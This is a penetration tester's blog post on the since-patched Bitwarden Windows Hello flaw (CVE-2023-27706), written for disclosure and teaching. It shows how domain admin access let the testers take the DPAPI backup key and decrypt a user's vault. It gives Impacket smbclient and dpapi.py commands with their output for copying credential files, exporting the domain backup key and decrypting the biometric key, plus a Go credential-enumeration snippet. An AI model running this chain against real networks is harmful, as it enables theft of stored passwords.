Bitwarden Heist - How to Break Into Password Vaults Without Using Passwords (2024)

3 January 2024

Sometimes, making particular security design decisions can have unexpectedconsequences. For security-critical software, such as password managers, thiscan easily lead to catastrophic failure: In this blog post, we show howBitwarden’s Windows Hello implementation allowed usto remotely steal all credentials from the vault without knowing the passwordor requiring biometric authentication. When we discovered this during apenetration test it was so unexpected for us that we agreed with our client topublish a blog post about it and tell the story.

The underlying issue has been corrected in Bitwarden v2023.4.0 in April 2023(but the story is interesting nonetheless).

Where We Started

We recently conducted a penetration test with the goal of compromising theinternal network of a client in a Windows environment. As usual, we managed toget administrative access to the domain controller, however, there was anadditional hurdle: The backup server, one of the prioritized targets, did notreside within the domain. Having already gained access to Domain Administratoraccounts, we decided to take a look around their Windows workstations in thehopes of uncovering information that would grant us access to the backupsystem. Looking at the workstations, we found that passwords seemed to bestored using Bitwarden (the following details apply to Version Desktopv2023.3.0of the software). We made the assumption that credentials to the backup systemmight be found in the Bitwarden vault of the employees in charge of the ITinfrastructure. After consulting with our client, we got the permission toattempt to retrieve the contents of one of these vaults. Since we did not wantto potentially disrupt the client’s business by using invasive techniques suchas key loggers to obtain access to the backup system, we looked for anunintrusive way without relying on end user interaction if possible.

We first tried to crack the vault using simple credential stuffing attacks,however this remained unsuccessful, leading us to ultimately attempt a morecreative approach. To further analyze the vault, we decided to downloadthe main storage file of Bitwarden, in the hopes of finding anything of note. Itis located under the user’s home directory at%AppData%\Bitwarden\data.json. Downloading the JSON file and opening itin a text editor already revealed an unexpected finding:

"openAtLogin": false,"enableBiometrics": true,"biometricText": "unlockWithWindowsHello","noAutoPromptBiometricsText": "autoPromptWindowsHello","installedVersion": "2023.3.0", [...]"avatarColor": null,"biometricUnlock": true},"tokens": {

It seemed that this Bitwarden vault could be opened using Biometrics, andWindows Hello in particular. We had the feeling that it might be worth lookingat, so we decided to dig deeper.

Biometric Unlock - How Does it Work?

Even if biometrics are enabled, the vault still has a main password (Bitwardencalls it master password), yousimply do not have to always enter it to unlock the vault. This begs thequestion how the vault is secured if you do not have to enter the masterpassword. Well, the vault is not really encrypted with the master password, butwith an account encryption key, which is itself stored in encrypted formwithin the vault. The key to decrypting the account encryption key is derivedfrom the main password chosen during vault creation.

In other words: When a user enters their main password, Bitwarden derives a keyfrom the password and this key is then used to decrypt the actual accountencryption key which in turn can decrypt the credentials stored in the vault.

The key derived from the main password will be called derived key from nowon and it is exactly where the biometric unlock comes into play. At this point,users can choose to add additional unlock mechanisms, which usually results in anencrypted copy of the derived key being stored at a (hopefully) safe locationfrom which it can be retrieved using biometrics, for example. As a result,whoever can retrieve and decrypt the derived key does not need a password toaccess the vault.

The already described Biometric unlock is implemented based on Windows Hello onWindows machines. Consequently, activating biometric login on Windows means thatthe derived key is encrypted locally using a secret which can be retrievedafter authentication via Windows Hello. So far so good, but as it turns out, itis very much worthwhile to take a closer look into how this is actuallyimplemented in Bitwarden.

After some digging, we found that Bitwarden stored the encrypted copy of thederived key using the Windows Credentials API by callingwindows::win32::Credentials::CredWriteWin the bitwarden/clients Rustcode.Unfortunately, the documentation on how these credentials are protected ismeager, to say the least, which makes it complicated to actually understand whatis happening when the API is used. It seems, as though CredWriteW createscredentials using the Credential Manager,which in turn seems to invoke the lower-level Data Protection API(DPAPI).DPAPI provides a convenient way to store datasecurelysuch that only the given user is able to retrieve the data at a later point intime. The differences between protecting credentials via the Credential Managerand DPAPI are somewhat unclear, however using the Credential Manager seems toprovide additional benefits over usingthe low-level API, for example UI visibility (you can test this yourself bysearching for the Credential Manager application in you Windows Start menu).

So in order to decrypt the Bitwarden vault, we either need to know the mainpassword in order to derive the derived key on-the-fly or we need to retrievethe derived key from the depths of the encrypted DPAPI storage. We knew thatDPAPI has a lot of ties to the Active Directory that are relevant fordomain-joined workstations and we had already compromised the client’s ActiveDirectory, so we chose the latter approach.

Robbing the Vault Remotely - Who Needs a Master Password, Anyway?

We soon learned about an awfully convenientfeatureof DPAPI, or rather its newer versionDPAPI-NG ondomain-joined workstations:

Normally, domain users encrypt DPAPI-protected data using keys that arederived from their own passwords. However, if the user forgets their password,or if their password is administratively reset or reset from another device,the previously encrypted data can no longer be decrypted using the new keysderived from the user’s new password. When this occurs, the data can still bedecrypted using the Backup keys stored on the Active Directory domaincontrollers. They can then be re-encrypted with the user’s newpassword-derived key. This means that anyone who has the DPAPI Backup keys fora domain will be able to decrypt DPAPI-encrypted data for any domain user,even after the user’s password is changed.

This means for one that the data is encrypted using the password of the domainuser and no direct involvement of Windows Hello is needed to decrypt it (as longas the user’s password is known). Furthermore, the data can additionally bedecrypted with a remote backupkeystored on the domain controller. What could possibly go wrong?

Since the workstation running Bitwarden was domain-joined and the domain wasalready compromised, we began hunting for DPAPI keys in order to exploit thismechanism. First, we need to obtain whatever DPAPI stores on the machine itself.

We quickly found that two directories were of particular relevance to us:%AppData%\Microsoft\Protect, which is used to securely store the DPAPIdecryption keys, and %AppData%\Microsoft\Credentials, where the protecteddata resides. Note, that we use some simplifications involving the creation ofsession keys in DPAPI since they are of no relevance to this blog post; detailsare available here.

If you open these directories in the Explorer, you won’t see anything becausethey are hidden in a way that Explorer won’t even show them when “Show hiddenfiles” is enabled. However, the PowerShell command Get-ChildItem or gci candisplay them when adding --force or --hidden. They are also visible via SMBand as we already had remote administrator access we chose this path.

The following code snippets are taken from our lab environment, but are closelybased on the actual penetration test. First, we obtained the required Bitwardendata file using smbclient from the Impacketproject:

$ smbclient.py 'LAB/Administrator:<password>@workstation.lab'Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 FortraType help for list of commands# use C$# get \Users\user1\AppData\Roaming\Bitwarden\data.json

In the same session, we also downloaded the Credentials and Protected data:

# cd \Users\user1\AppData\Roaming\Microsoft\Credentials\# lsdrw-rw-rw- 0 Tue Nov 28 12:59:46 2023 .drw-rw-rw- 0 Tue Nov 28 12:59:46 2023 ..-rw-rw-rw- 686 Tue Nov 28 14:02:38 2023 C6530B1481D73604A6A51D114372F1AA# get C6530B1481D73604A6A51D114372F1AA# cd ..# cd Protect# lsdrw-rw-rw- 0 Mon Nov 27 09:59:01 2023 .drw-rw-rw- 0 Mon Nov 27 09:59:01 2023 ..-rw-rw-rw- 24 Mon Nov 27 09:58:51 2023 CREDHISTdrw-rw-rw- 0 Mon Nov 27 09:58:51 2023 S-1-5-21-505269936-2602674991-4082112561-1105-rw-rw-rw- 76 Mon Nov 27 09:59:01 2023 SYNCHIST# cd S-1-5-21-505269936-2602674991-4082112561-1105# lsdrw-rw-rw- 0 Mon Nov 27 09:58:51 2023 .drw-rw-rw- 0 Mon Nov 27 09:58:51 2023 ..-rw-rw-rw- 740 Mon Nov 27 09:58:51 2023 14c8d0db-8c7c-4bf8-a857-eb20500a3893-rw-rw-rw- 904 Mon Nov 27 09:58:51 2023 BK-LAB-rw-rw-rw- 24 Mon Nov 27 09:58:51 2023 Preferred# get 14c8d0db-8c7c-4bf8-a857-eb20500a3893# exit

Downloading these files made it possible to work on the decryption processlocally, however it also meant that we did not gain access to the user’s maindecryption password directly. This is where the handy feature to decrypt DPAPIdecryption keys using backup keys comes into play, as we know that it ispossible to decrypt these local secrets with the backup key from the domaincontroller. We could conveniently download it using the dpapi.py script fromthe Impacket project:

$ dpapi.py backupkeys -t 'LAB/Administrator:<password>@dc.lab' --export

In this case, we renamed the key to backupkey.pvk. Using this newly acquiredkey, we could start by decrypting the protected DPAPI decryption key that wetook from the workstation:

$ dpapi.py masterkey -pvk backupkey.pvk -file ./14c8d0db-8c7c-4bf8-a857-eb20500a3893Impacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra[MASTERKEYFILE]Version : 2 (2)Guid : 14c8d0db-8c7c-4bf8-a857-eb20500a3893Flags : 0 (0)Policy : 0 (0)MasterKeyLen: 00000088 (136)BackupKeyLen: 00000068 (104)CredHistLen : 00000000 (0)DomainKeyLen: 00000174 (372)Decrypted key with domain backup key providedDecrypted key: 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5a

It was now simply a matter of using this key to decrypt the Biometric logincredentials which are necessary to get into the Bitwarden vault:

$ dpapi.py credential -f ./C6530B1481D73604A6A51D114372F1AA -key 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5aImpacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra[CREDENTIAL]LastWritten : 2023-11-28 14:02:38Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)Type : 0x00000001 (CRED_TYPE_GENERIC)Target : LegacyGeneric:target=Bitwarden_biometric/ea0b6061-4381-4534-9e91-50cf98753530_masterkey_biometricDescription :Unknown :Username : ea0b6061-4381-4534-9e91-50cf98753530_masterkey_biometricUnknown : "6PN6Y9wkXjrHvDCijM7fhkNrDL8PI/dc70m9XoSqxDE="

This revealed the biometric key (a copy of the previously described derivedkey), which grants access to the Bitwarden vault:6PN6Y9wkXjrHvDCijM7fhkNrDL8PI/dc70m9XoSqxDE=

Breaking Into the Vault

We first had to figure out how to decrypt the Bitwarden account encryptionkey, which protects all other information in the vault. Credentials are notalways encrypted with the account encryption key directly since Bitwardenalso supports usage scenarios where some credentials should be shared in anorganization, for example. This is solved by adding additional layers of keys(private and organizational keys), which are used to encrypt organizationcredentials, and are also protected using the account encryption key. Take alook at the figure below if you are starting to get confused about all the keysinvolved in this story.

The decryption process therefore consists of three main steps: (1) Decryptionof the account encryption key using the biometric key, (2) decryption of thesecond layer of keys using the account encryption key and (3) decryption of thecredentials using either the account encryption key or one of the intermediatekeys. We then set out to write a Python script to automate the decryption. Let’swalk through each step:

We started by extracting the user object from the Bitwarden data filedata.json. The user object contains the encrypted credentials (in thedata section) and the encryption keys (in the keys section), in additionto (unencrypted) information about the user account like the email address(profile), settings like the online vault URL (settings) and more. Theuser section can be identified by searching for a UUID which is used as keyin the JSON object:
```
"ea0b6061-4381-4534-9e91-50cf98753530": { "data": { [...] "keys": { "cryptoSymmetricKey": { "encrypted": "2.Z9+7NUlzujEYKrRX+x22+A==|rB5YmxVMKo9tJtNSmRT8mpVQu7GEAHhKndJBXKBwWfW1rw6i3x003ZPligtJCmWXpdHIryF2fb5KdETAvr9QLws27A8z3ZAO4KNAgrzGH14=|PuD7z8am9+l09gM8SDFUU8hvFa02x30gYqJXe7Ac6mI=" }, [...]
```
Since Bitwarden uses different types of encryption for different scenarios,all encrypted values are stored using a particular format, which starts withan encryption type identifier (fromGitHub):
```
export enum EncryptionType { AesCbc256_B64 = 0, AesCbc128_HmacSha256_B64 = 1, AesCbc256_HmacSha256_B64 = 2, Rsa2048_OaepSha256_B64 = 3, Rsa2048_OaepSha1_B64 = 4, Rsa2048_OaepSha256_HmacSha256_B64 = 5, Rsa2048_OaepSha1_HmacSha256_B64 = 6,}/** [...] * Example of annotated serialized EncStrings: * 0.iv|data * 1.iv|data|mac * 2.iv|data|mac * 3.data * 4.data [...]
```
As indicated by the leading 2, our account encryption key was encryptedusing AES-CBC-256, and integrity-protected using an HMAC based on SHA-256.Before decrypting the account key with the biometric key, it has to beexpanded using HKDF-expand, though.

With the account encryption key, we were able to decrypt the second layer ofkeys, which were all stored in the "keys" part of the user object as well.

 "privateKey": { "encrypted": "2.JbYuUgAf3yIDWfKAZdAi7w==|7OHkUd5GY5akE7IqLGRfJW4cL6P9KltcJOhLepjGPsyOBt0Jzr5+PPakvp8Fz3pgAYNXszCqDP8aqz/q+JhsZVtx5VP3OE6KINdmBvWEO0EX0PEMxtI08WiDNKadlFgNG9zyotIsA+6MA0cDwMIdKYPUWv7P3JB2Y0W9jlqeQQkPerg3voEvGLHOUa48xv7hJt3Q8fIPH3yoo9i5UN042QNEBmn9GBYdFw0gMNdDvMnK47j8kHQ+18SBMpIG0tjLylEmN0aA1QOXq9XHaorguOowUaLQU5funOiurFPpXv7CuXdlJiYak8nBQjdEj9euAEKe4himejHak0CUwMsNqqF7HdAhpLdGLY/gtskd/2e9v8Gwq93nBGNfRBTtfO8tWRWf+ygFqninfR9QquIHQ7BPJMHXsupoOUFlwNV7RVrG1Qa64sv0k1ksP38GyY8jzU2YZVsLWPjwHdHwXIeZzwC2CQ7JO6x9i/zkT9GJIEMBRAf6WBcIy0Q8J1LZvzlIEAJDqZaungjfwKDovaJVCHAq4WTaM0SyNj01RNARsLbVCweGlx1eQ6jootNdovOTR4jprmWwyfe9FQf9Xabm40Bwx8E2jZY2TxyS+Y0TzhdO3Rg0gETb8GHIlXeTU28fPVusjopv0eZXwe97NQhvyhDXCrZM7/546rCIvWTdcmouKdQEaXUXe02nuJl8UGjqqLuuKNxFfNez+RY7khCf7xU5wXzoC/90pNP1nM0FkB9IPe/J7EUvhBHrD+dP+6SxJ9mPDByN/u68kvBeu8R3dn234zJiqDNFWtmliGJMrYybzmViHI70tDxInv/9KoJfJK6QD+SypcEJjytZm+U8kEaWHkaxyMMUQIaHdmmhDYixjC6iclZWvAk5nMhf0wQm5NJJdfIQTWoID4kOMoS71OXExVkLVm93O5AflyD5jcWu/z6IThDY7nEg35t2ziRM1djkhnkK0Eunp45u/bpfhwYsMCnM8IJEiZ9kOOkFfCWCOZJwsk2uINmTBp8PKJD06sluhFKdOFtEDP7PMhEKVt2D2a1yMPT4PCdLYiSe18PQloUgBWC8ica4BVcGnTjGKkloqLNHF8T4nd1igW+LL+FbAj4DVJVciTV6hdHhdf0xmIoz+OhvIfzrmYxy5hjJjmesSvZq8f*ck6G746cFCIQmGjT7lZuQcaR2msWawsIEcjFFFy6vIRiwQo72yeyCAmDEbgETLjSfs3jrhXf8pvcEWuci8bpsOV1zr+Od60OU+/30cFal2guazAlIT2jF+zvpf+qWC/A7lVu0iroTAoXu8/IOLxLpaF+xSso7kbrNbsKyx2fJuhNdTLOrqvnv4rw+73n11/fhF3506eN3ULj57kGFIKnRIkueMMwS7DIMla8BPT1rrUNZarTyDupF63KSjJbG9nPXneBeWjHi43jsW78PMtndfqrAr9pn02Me9vYGl8nhseEGArR3iN2fTkrWbV3wwjTbMnGfk4Z43fhsAKaGet6gjmLmcGhbeC2wSEAFgTnoMLZM/CUcqFBopyvMNVkAUs495qZCNvqgpT5f7DrJuzq+GbHK8fypdF+qxwUeUyDzFQfTvf1gKc+ISDYN0mXqDNH1II5aMu/4j0U4gvlO9vxKfJxms2tq0WGY=|3AsNkNSpAWpyHBSa2gjkJHff5vqnoU1yysEmLeXbgYc=" }

As can be inferred from the encryption type, this key was also encryptedusing AES-CBC. In our test setup, the private RSA key could be used todecrypt additional organizational keys, which were in turn required toaccess organization-specific credentials.

Having obtained all intermediate keys, we were finally able to extract thedesired credentials:

"46d9d1c2-7595-4c18-989d-053e1bf5336f": { "id": "46d9d1c2-7595-4c18-989d-053e1bf5336f", "organizationId": null, [...] "login": { "username": "2.K+/iMJyO27Wzqos4JtTfmA==|FB1cyKstIHGPBx4GBRk651FZ1zr3NpLBEoe1Vf3FFe4=|Y/2Kur7jIvI/ecXA64ARKs6qy7zLXJh9NVC81+uyeiI=", "password": "2.ALOh5YroSqPCkoyzviK0/g==|FDzMel84he7OPGGLatBgxw==|fVxA3OIeNkLwH3zzDU66F40ykDD0PGUOBSEcpMlp3w8=", [...]

This type of credential could be decrypted using the account key directly(recognizable by the empty organizationId).

Other credentials required intermediate keys (organizationId is set):

"fad536b0-0b44-4cf2-8741-bca6ce7881d0": { "id": "fad536b0-0b44-4cf2-8741-bca6ce7881d0", "organizationId": "1d05eff7-8a52-44b1-a004-9835dc485985", [...] "login": { "username": null, "password": "2.qiVz94La8KSO+GaLbUHjGw==|Khqd0v88X8SqC2gTTrQMtQ==|PYfa*g7+X9rL8LZUzbo1T3xIATDAOlybnN3tviBST3/c=", [...]

Now we can see our vault decryption script in action:

As we had hoped, the Bitwarden vault on the Administrator’s workstation didindeed include the credentials to access the special backup system, finallygranting us access to the sought-after backups. You can probably imagine theastonishment of our client when we told them about the attack, as they had noidea that domain admins can bypass Bitwarden’s vault protections.

Well, we’ve always known attackers with domain admin privileges are quitepowerful in the first place, but at least the vault is protected againstunprivileged attackers on the local workstation, right? &mldr;right?

But Wait, There’s More: Who Needs Biometrics, Anyway?

In the process of trying to understand this whole mechanism, we started playingaround with DPAPI in our lab setup. For example, we thought that using the APIitself is probably easier than cobbling together the key files from %AppData%.To familiarize ourselves with DPAPI, we wrote a tiny Go program to see whatcredentials are stored in DPAPI on the workstation using thewincred library. The full script is availablehere, but the only interesting lines are these:

creds, err := wincred.List()if err != nil { return fmt.Errorf("wincred list: %w", err)}for _, cred := range creds { credentialBlob, err := decodeUTF16LE(cred.CredentialBlob) if err != nil { credentialBlob = fmt.Sprintf("%q", string(cred.CredentialBlob)) }fmt.Printf("%s:\n * %s\n", cred.UserName, credentialBlob)}

It only calls windcred.List() which is a thin Go wrapper aroundCredEnumerateWwhich simply “enumerates the credentials from the user’s credential set”.However, we did not expect that this function immediately spits out Bitwarden’sderived/biometrics key without prompting for biometric authentication usingWindows Hello:

This means that any process that runs as the low-privileged user session cansimply ask DPAPI for the credentials to unlock the vault, no questions asked andno PIN or fingerprint prompt required and Windows Hello is not even involved atall. The only caveat is that this does not work for other user accounts.

Bitwarden itself does prompt for biometric authentication when unlocking thevault, but it wouldn’t even have to. In fact, you could probably remove a fewlines from the source code and have it unlock without a prompt. The whole issue islikely a result of misunderstanding the details of the CredWriteW function, ormaybe an unawareness of the potential pitfalls of using DPAPI to storeencryption keys.

A Feature, Not a Bug

We contacted both Bitwarden and Microsoft about the details of this attack. Wealways make sure to follow industry best practices for responsible disclosure,even if it is unclear whether our findings are actual vulnerabilities. For theattack explained in this blog post, this was the case as it is not clear whetherthe attack is in scope of either Bitwarden (since the attack already assumesaccess to the workstation of the victim and the Windows domain) or Microsoft(who are only involved by providing DPAPI to store the decryption keys).Microsoft indeed responded to our report by stating that DPAPI and its backupmechanism were used exactly as intended, and that our attack therefore did notindicate any vulnerabilities on their side.

Bitwarden also responded, however they agreed that this behavior was unintended,and stated that they were already tracking a similar issue internally. As itturns out, we were not the first to discover this in March 2023, it had alreadybeen reported to Bitwarden throughHackerOne. However, we did not know thissince it was only disclosed in June 2023. Since then the vulnerability is knownas CVE-2023-27706.

Bitwarden has since made changes to their codebase to mitigate this particularscenario, which we will quickly summarize in the next section. They have alsochanged the default setting when using Windows Hello as login feature to requireentering the main password at least once when Bitwarden is started.

Biometrics in Bitwarden Now

To prepare for this blog post, we also took a look at how credentials are storedin the current version of Bitwarden Desktopv2023.10.1.Bitwarden still makes use of Windows Hello and DPAPI, which are still accessibleusing the domain backup key. However the content of the secured data blobs haschanged:

$ dpapi.py credential -f DAF81666731C8E899E9464647512792B -key 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5aImpacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra[CREDENTIAL]LastWritten : 2023-11-28 15:01:47Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)Type : 0x00000001 (CRED_TYPE_GENERIC)Target : LegacyGeneric:target=Bitwarden_biometric/ea0b6061-4381-4534-9e91-50cf98753530_user_biometricDescription :Unknown :Username : ea0b6061-4381-4534-9e91-50cf98753530_user_biometricUnknown : 0.OQeotvzeRCpHoEb2c7TZ2g==|3PqjMDiq1J9hHnO7KESu0fG6Vl4yl2siOImoZghma2FpfNJmfKyGAmJNq00ay3/HV1dd855YMlNc7k3wSam47nxWEAuQU/oCaiPH9q5k9I+OJuvv01HVniqq7ERzRWLp$ dpapi.py credential -f 1A52DC5CA68038A3E4216121AA1A7E0E -key 0xad69553beafe0c5bcaf3b61a61136da64c50c57406f3649c6f70c11dc8d22a09d87241bd769ddbcb022a64744cbcd28342176593da30c825a0a56105496f0d5aImpacket v0.10.0.post1+20230417.105142.28de12f1 - Copyright 2022 Fortra[CREDENTIAL]LastWritten : 2023-11-28 15:01:47Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)Type : 0x00000001 (CRED_TYPE_GENERIC)Target : LegacyGeneric:target=Bitwarden_biometric/ea0b6061-4381-4534-9e91-50cf98753530_user_biometric_witnessDescription :Unknown :Username : ea0b6061-4381-4534-9e91-50cf98753530_user_biometric_witnessUnknown : 0.OQeotvzeRCpHoEb2c7TZ2g==|Kbo2ptPoXcw3N30AnYA8fw==

Instead of storing the valuable derived/biometric key via DPAPI, Bitwarden nowstores two secured data blobs, which are encrypted and can no longer be used todecrypt the account encryption key directly (indicated by the encryption type0). The stored data blobs are now additionally encrypted using theKeyCredentialManagerAPIwhich actually requires interaction with Windows Hello to produce a decryptionkey. While it seems to us that this fixes the issue, we have not actually testedthe new implementation for other vulnerabilities, yet.